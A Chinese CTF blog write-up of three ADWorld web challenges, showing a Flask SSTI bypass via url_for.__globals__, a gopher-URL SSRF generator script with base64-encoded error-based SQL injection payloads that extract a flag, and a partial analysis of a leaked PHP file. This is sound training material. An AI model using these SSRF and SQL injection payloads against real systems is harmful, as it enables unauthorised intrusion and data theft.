攻防世界题目练习——Web引导模式(四)(持续更新)

题目目录

  • 1. shrine
  • 2. very_easy_sql
  • 3. fakebook

1. shrine

打开网页题目内容如下:
在这里插入图片描述
是一段代码,我们把它还原一下:

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
#这里应该是将config配置里的FLAG字段设置为取出Linux系统中的FLAG变量赋值给它

@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

看不懂代码,先浅浅学一下吧。
首先最让我迷惑的就是@app.route()函数了,于是找到参考博客如下,了解到这是Flask框架的语法,在之前的模板注入题目中也了解到过。
参考博客:
Flask入门—@app.route()使用-CSDN博客
从这篇博客知道,使用 route() 装饰器来告诉 Flask 触发函数 的 URL
当我们直接打开网页链接,就会在根目录下,触发函数读取文件内容,也就是我们看到的代码,如果在/shrine/目录下,就会触发shrine函数。

然后学习一下这段代码:
参考博客:
攻防世界web进阶区shrine详解
找到了一篇讲解比较详细的博客:
[Western CTF 2018]shrine - 掘金
'{{% set {}=None%}}'.format(c) for c in blacklist等价于 '{% set config=None%}{% set self=None%}',即当前局部 config变量与self变量均赋值为None。

并且由于 ()都被过滤,许多命令执行payload都无法使用,通过下面了解到的flask模板注入相关payload,明白了这是因为常见的命令执行payload都会需要用到(),例如system('ls')read()
参考博客:
从博客flask模板注入(ssti),一篇就够了、flask模板注入中学到了一些flask的一些基础知识,例如在前面的题目中涉及到的__class____mor____base__是什么意思。
ssti详解与例题以及绕过payload大全中介绍了许多绕过一些过滤的方法。

既然'{{% set {}=None%}}'.format(c) for c in blacklist使当前局部 config变量与self变量均赋值为None,那么可以考虑通过全局变量来查看。

current_app 类型是LocalProxy 像全局变量一样工作,先访问到current_app再访问其config即可,但只能在处理请求期间且在处理它的线程中访问,current_app只有在处理请求时才有指向。

确认存在模板注入:
在这里插入图片描述
尝试{{config}},果然内容显示为None:
在这里插入图片描述
结合博客SSTI 模板注入url_for和get_flashed_messages之[WesternCTF2018]shrine,了解到url_for这个函数可以通过函数名找到这个函数对应的目录,也就是利用函数的名字去动态精准的获取url,可以用 url_for() 来给指定的函数构造 URL。
__globals__ 是python里的函数,可以看到所有可读的全局变量
url_for中有current_app这个全局变量,url_for.__globals__表示使用__global__来获取url_for的全部模块、方法和全局变量。
然后我们可以找到’current_app’:
在这里插入图片描述
然后我们查看全局变量current_app的config:
在这里插入图片描述
访问’FLAG’字段:
在这里插入图片描述
小结:python的SSTI模板注入,本身就是利用{{}}代码可执行的漏洞,从而在基类的子类中找到os或者file有关的类,os用来执行命令,file可以用来读取文件。本题因为黑名单的原因过滤了(),所以常规方法通过os和file来获取flag就不适用,但是本题flag的值已经被写入到当前app的config中,所以目标就变为读取当前app的config值,而恰好url_for中有current_app这个全局变量,所以使用__global__来获取url_for的全部模块、方法和全局变量,从中选择current_app这个全局变量,再获取其中的config的值,从而获取到flag。

2. very_easy_sql

参考博客:
攻防世界web新手 - very_easy_sql(非常详细的wp)
里面提到了利用ssrf漏洞可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。不知道banner是什么,搜了一下,简单来说,banner信息就是指服务器返回给你的响应头的相关信息,例如:返回过来的状态码,服务版本号…等等。通过这些banner信息可以得到一个服务器的端口号、上面安装了哪些服务?以及服务相应的版本…等等,从而可以找到相应的漏洞。

打开网页看到如下:
在这里插入图片描述
提示说“you are not an inner user, so we can not let you have identify”,不是内部用户,看了别的博客说应该指的是需要内部访问,尝试注入发现并没有任何反应,抓包看看:
在这里插入图片描述
看到set-cookie为deleted,猜测可能是输入的内容都被删除了,然后我们可以看到最下面有一个use.php,然后看看use.php:
在这里插入图片描述
看参考博客说这是一个ssrf漏洞,那先了解一下ssrf漏洞:
SSRF漏洞原理攻击与防御(超详细总结)
根据博客手把手带你用 SSRF 打穿内网的讲解,“能够对外发起网络请求的地方,就可能存在 SSRF”,我的理解为:凡是一个输入框可以用来访问其他网站的,就可能存在ssrf漏洞。

参考博客:
攻防世界 – very_easy_sql
Gopher发送HTTP GET与HTTP POST请求可以参考如下博客:
Gopher协议在SSRF漏洞中的深入研究(附视频讲解) - 知乎
在这里插入图片描述
这个格式要注意后面路径后有个_
以GET请求为例:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以直接用Gopher协议发送数据,那么发送HTTP的请求可以直接发送一个原始的HTTP包。
上面的图片是这篇文章提到的使用Gopher发送HTTP POST请求时需要注意的几个点:

  • 要注意在请求的路径与请求的内容之间加一个_或者其它字符来避免吞字符
  • 进行url编码时问号要转码为%3f,回车换行符在脚本的url函数的编码中可能只被转为%0a,要替换为%0d%0a
  • 然后是POST数据包的格式,一定要包含POST /index.php HTTP/1.1
    host:x.x.x.x
    Content-Type:
    Content-Length:
    这4个参数

然后编写构造要发送的gopher协议的脚本:

import urllib.parse

host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)
text =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}
""".format(host,content_length,content)
tmp = urllib.parse.quote(text)
new = tmp.replace("%0A", "%0D%0A")
result = urllib.parse.quote(new)
print("gopher://" + host + "/_" + result)

#输出内容:
gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A

要注意Content-Length这一块请求头结束后和请求的内容直接一定要有一行换行。

参考博客:
urllib库(三)parse模块:quote()/quote_plus(),unquote()/unquote_plus(),quote_from_bytes()
python爬虫之urllib.parse详解
有个疑问,为什么要进行两次url编码,还是参考知乎的那篇文章:
在这里插入图片描述curl_exec在发起gopher时用的是没有进行URL编码的值会导致失败,为什么呢?
大概是因为只有经过url编码后的gopher协议的内容才会被正确识别?
参考博客:
Gopher 协议详解-腾讯云开发者社区-腾讯云
为什么要进行URL编码 - 降瑞雪 - 博客园

将url参数改为我们生成的gopher协议内容之后:
在这里插入图片描述
Set-Cookie发生了变化,看起来是经过base64与url编码的,解码看看:
在这里插入图片描述
不知道这个admin是uname输入框还是passwd输入框变过来的,盲猜应该是uname,重新试一下改了一下passwd,但是发现并没有返回302结果,返回的是200,并且没有像上一个一样的this_is_your_cookie的Set-Cookie的值,猜测可能是因为用户名密码不正确?

于是猜测注册点为Set-Cookie处?

然后测试闭合类型:
生成gopher的脚本如下:

import urllib.parse

host = "127.0.0.1:80"
cookie = "this_is_your_cookie=YWRtaW4n"

text =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host, cookie)
tmp = urllib.parse.quote(text)
new = tmp.replace("%0A", "%0D%0A")
result = urllib.parse.quote(new)
print("gopher://" + host + "/_" + result)

this_is_your_cookie=YWRtaW4n
#YWRtaW4n是admin'的base64编码

在这里插入图片描述

this_is_your_cookie=Jw==
#Jw==是单引号'的base64编码

在这里插入图片描述
从第一个admin'的报错可以看到,设x为我们输入的内容,则报错的格式为"x'),并且后面'的报错也可以对应。
那么在我们输入的内容右边的闭合就应该为'),然后采用报错注入:
参考博客:
sql注入之报错注入-CSDN博客

查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database())))) #
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) #
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME")))) #
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))) #

在这里插入图片描述
在这里插入图片描述

admin') and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))) #
YWRtaW4nKSBhbmQoc2VsZWN0IGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JykpKSkgIw==

在这里插入图片描述

admin') and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag')))) #
YWRtaW4nKSBhbmQoc2VsZWN0IGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J2ZsYWcnKSkpKSAj

在这里插入图片描述

admin') and(select extractvalue(1,concat(0x7e,(select group_concat(flag) from flag)))) #
YWRtaW4nKSBhbmQoc2VsZWN0IGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KGZsYWcpIGZyb20gZmxhZykpKSkgIw==

在这里插入图片描述
此时flag只显示了一半,参考攻防世界web新手 - very_easy_sql(非常详细的wp)_sean7777777的博客-CSDN博客分割读取:

admin') and extractvalue(1, concat(0x7e, substr((SELECT flag from flag),30,32),0x7e)) #
YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCBzdWJzdHIoKFNFTEVDVCBmbGFnIGZyb20gZmxhZyksMzAsMzIpLDB4N2UpKSAj

substr函数用法详解-CSDN博客
30是起始位置,32是显示的长度
在这里插入图片描述
由于中间重叠了2位,“51”是重复的,完整的flag为:

cyberpeace{e3cd67249037c83741515a8f820a20c1}

3. fakebook

进入网页如图:
在这里插入图片描述
login和join都尝试抓包了一下,没有什么发现,看到别人的博客才想起来扫描目录,但是!不知道为什么我用御剑没扫出来robots.txt,但是访问是确实能访问到看到的。
参考博客:
攻防世界(Web进阶区)——fakebook-CSDN博客
御剑扫描结果如下:
在这里插入图片描述
访问robots.txt文件如下:
在这里插入图片描述
于是访问user.php.bak,会弹出下载框:
在这里插入图片描述
文件内容如下:

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

之前在join界面随便试着抓包的时候,的确出现过"Blog is not valid"的提示,可以看到最后一个函数isValidBlog ()的内容,是对blog的内容进行了过滤。
学习一下正则表达式:
preg_match函数的用法和匹配字符的的含义-CSDN博客
PHP正则表达式_php 正则-CSDN博客

  • 开头和结尾的//是一对定界符
  • 最后面的i表示完全不区分大小写匹配
  • 开头的 ^ 和结尾的 $ 让PHP从字符串开头检查到结尾
  • () 被用来合并小节,并定义字符串中必须存在的字符,例如(a|b|c) 能够匹配 a 或 b 或 c:
    也就是说那一串正则匹配的内容被分为下面几个部分:(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?
  • ? 匹配前面的子表达式零次或一次。例如,“do(es)?”可以匹配“does”或“does”中的“do”;
  • *匹配前面的子表达式零次或多次。例如,zo*能匹配“z”以及“zoo”。*等价于{0,};
  • +匹配前面的子表达式一次或多次。例如,“zo+”能匹配“zo”以及“zoo”,但不能匹配“z”。+等价于{1,}
  • \ 将下一个字符标记为一个特殊字符、或一个原义字符
  • {n,m} m和n均为非负整数,其中n<=m。最少匹配n次且最多匹配m次
  • \S 匹配任何非空白字符。等价于[^ \f\n\r\t\v];

然后分节分析这几个部分:

  • (((http(s?))\:\/\/)?)
    (s?)表示有没有s都可以,那么((http(s?))\:\/\/)匹配的内容就是http://https://,而最后的?又表示要么匹配一个http://https://,要么没有这一部分
  • ([0-9a-zA-Z\-]+\.)+
    表示0-9a-zA-Z范围内的字符以及字符-至少匹配一个,并且后面跟着字符.,这一串字符要至少匹配1次
  • [a-zA-Z]{2,6}
    最少匹配2次最多匹配6次a-z以及A-Z范围内的字符
  • (\:[0-9]+)?
    :后面要跟至少一个0-9内的字符,这个组合匹配0或1次
  • (\/\S*)?
    /后面接任何非空白字符,这个组合匹配0或1次

现在我们确定能匹配成功的格式为12c.abc这种
然后就去注册
(待更新)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/121214.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Linux/centos上如何配置管理Web服务器?

Linux/centos上如何配置管理Web服务器&#xff1f; 1 Web简单了解2 关于Apache3 如何安装Apache服务器&#xff1f;3.1 Apache服务安装3.2 httpd服务的基本操作 4 如何配置Apache服务器&#xff1f;4.1 关于httpd.conf配置4.2 常用指令 5 简单实例 1 Web简单了解 Web服务器称为…

一篇文章带你全面了解智能地面水处理一体机

一、智能地面水处理一体机 1、设备外壳常规尺寸有&#xff1a;1630*760*560&#xff08;mm&#xff09;&#xff1b;1630*900*560&#xff08;mm&#xff09; 2、外壳有不锈钢、碳钢材质 二、产品构成&#xff08;电气控制柜雨水过滤、消毒处理机&#xff09; 1. 上半部为雨…

【慢SQL性能优化】 一条SQL的生命周期 | 京东物流技术团队

一、 一条简单SQL在MySQL执行过程 一张简单的图说明下&#xff0c;MySQL架构有哪些组件和组建间关系&#xff0c;接下来给大家用SQL语句分析 例如如下SQL语句 SELECT department_id FROM employee WHERE name Lucy AND age > 18 GROUP BY department_id其中name为索引&a…

k8s 目录和文件挂载到宿主机

k8s生产中常用的volumes挂载方式有&#xff1a;hostPath、pv&#xff0c;pvc、nfs 1.hostPath挂载 hostPath是将主机节点文件系统上的文件或目录挂载到Pod 中&#xff0c;同时pod中的目录或者文件也会实时存在宿主机上&#xff0c;如果pod删除&#xff0c;hostpath中的文…

线性代数 | 矩阵运算 加减 数乘 矩阵的幂运算

文章目录 1. 矩阵加减和数乘2.矩阵与矩阵的乘法2.1相乘条件&#xff1a;看中间&#xff0c;取两头2.2 相乘计算方法 3. 矩阵的幂3.1 观察归纳法3.2 邻项相消法3.3 化为对角 4.矩阵求逆&#xff08;除法&#xff09;4.1 判断是否可逆&#xff08;证明题或者要求求出逆矩阵&#…

centos 7部署Mysql8.0主从

Mysql官网中关于部署主从的网址 环境准备&#xff1a; 搭建虚拟机和安装Mysql之前的文章中已经涉及&#xff0c;在此不再赘述。 主从IPMysql账号密码主192.168.213.4root/Root1234!从192.168.213.5root/Root1234! 1、主数据库设置 配置my.cnf 一般存放于/etc/。 主从配…

VSCode修改主题为Eclipse 绿色护眼模式

前言 从参加开发以来&#xff0c;一直使用eclipse进行开发&#xff0c;基本官方出新版本&#xff0c;我都会更新。后来出来很多其他的IDE工具&#xff0c;我也尝试了&#xff0c;但他们的主题都把我劝退了&#xff0c;黑色主题是谁想出来&#xff1f;&#x1f602; 字体小的时…

【原创分享】LDO电源PCB设计要点

LDO模块是Low Drop-Out的缩写&#xff0c;也称为低压差稳压器。它是一种电子组件&#xff0c;主要用于将高电压降至较低电压&#xff0c;并提供稳定的电源供应。LDO模块通常由一个直流电压调节器和一个电流放大器组成。其工作原理是通过在输入和输出之间创建一个稳定的电压差&a…

Linux 中断实验

一.什么是中断 中断是指 CPU 在执行程序的过程中&#xff0c;出现了某些突发事件急待处理&#xff0c; CPU 必须暂停当前程序的执行&#xff0c;转去处理突发事件&#xff0c;处理完毕后又返回原程序被中断的位置继续执行。由于中断的存在极大的提高了 CPU 的运行效率&#x…

拓展认知边界:如何给大语言模型添加额外的知识

Integrating Knowledge in Language Models P.s.这篇文章大部分内容来自Stanford CS224N这门课Integrating Knowledge in Language Models这一节&#x1f601; 为什么需要给语言模型添加额外的知识 1.语言模型会输出看似make sense但实际上不符合事实的内容 语言模型在生成…

Springboot集成redis和mybatis-plus及websocket异常框架代码封装

在软件开发过程中&#xff0c;一款封装完善简洁大气的全家桶框架&#xff0c;能大大提升开发人员的工作效率&#xff0c;同时还能降低代码的复杂程序&#xff0c;也便于后期方便维护。本文所涉及源代码在文章最后&#xff0c;有下载链接。 本文章所涉及封装的框架&#xff0c;…

Android修行手册-实现利用POI将图片插入到Excel中(文末送书)

点击跳转>Unity3D特效百例点击跳转>案例项目实战源码点击跳转>游戏脚本-辅助自动化点击跳转>Android控件全解手册点击跳转>Scratch编程案例点击跳转>软考全系列 &#x1f449;关于作者 专注于Android/Unity和各种游戏开发技巧&#xff0c;以及各种资源分享&…

C# 查询腾讯云直播流是否存在的API实现

应用场景 在云考试中&#xff0c;为防止作弊行为的发生&#xff0c;会在考生端部署音视频监控系统&#xff0c;当然还有考官方监控墙系统。在实际应用中&#xff0c;考生一方至少包括两路直播流&#xff1a; &#xff08;1&#xff09;前置摄像头&#xff1a;答题的设备要求使…

Spring Boot + EasyUI Datebox和Datetimebox样例

使用EasyUI的Datebox和Datetimebox组件&#xff0c;并对其进行适当的改造&#xff0c;比如更改日期格式、设置默认值或者将当前时间设置为默认值。 一、运行结果 二、实现代码 1.代码框架 2.实现代码 SpringBootMainApplication.java: package com.xj.main;import org.spri…

奇安信360天擎getsimilarlist存在SQL注入漏洞

奇安信360天擎getsimilarlist存在SQL注入漏洞 一、产品描述二、漏洞描述三、漏洞复现1.手动复现2.自动化复现①nulei扫描yaml ②小龙POC检测工具下载地址 免责声明&#xff1a;请勿利用文章内的相关技术从事非法测试&#xff0c;由于传播、利用此文所提供的信息或者工具而造成的…

oled显示器程序(IIC)从stm32f103移植到stm32f429出现bug不显示-解决移植失败问题

出现问题处&#xff1a; 刚开始更换了这两行代码&#xff0c;然后更换位置后&#xff0c;oled正常显示&#xff0c;如下为正确顺序 I2C_Configuration();//配置CPU的硬件I2COLED_Init();//OLED初始化 在这段代码中&#xff0c;I2C_Configuration() 函数用于配置CPU的硬件 I2C…

什么变量能够影响苦艾酒的味道?

没有一个答案可以描述每种苦艾酒的味道&#xff0c;因为每个生产商生产的苦艾酒都不一样。甜苦艾酒的味道与干苦艾酒不同&#xff0c;即使在这些类别中&#xff0c;甜的和干的苦艾酒的味道也会彼此不同&#xff0c;这取决于制造商、他们使用的草药和植物药的类型、他们用这些植…

如何估算业务需要多少代理IP量?

在互联网相关的行业中&#xff0c;很多业务都需要用到代理IP工具&#xff0c;比如数据采集、市场调查、SEO优化、品牌保护、跨境运营等&#xff0c;可以说代理IP已成为许多业务中不可或缺的一部分。代理IP可以帮助用户隐蔽真实IP地址&#xff0c;提高网络活动的范围和安全性&am…

会打字就能编程,自动写代码的ai助手 | 通义灵码

通义灵码介绍 通义灵码是一款由阿里云出品的智能编码辅助工具。 它基于通义大模型&#xff0c;可以提供行级/函数级实时续写、自然语言生成代码、单元测试生成、代码注释生成、代码解释、研发智能问答、异常报错排查等能力。 它支持Java、Python、Go、C/C、JavaScript、Type…

机器人阻抗与导纳控制的区别

机器人自身的非线性动力学&#xff08;由柔软性引起的&#xff09;导致控制精度下降&#xff0c;因此难以描述准确的动力学。 导纳控制和阻抗控制都是基于位置与力关系的模式&#xff0c;被认为具有鲁棒性和安全性。然而&#xff0c;当机器人与刚体接触时&#xff0c;导纳控制常…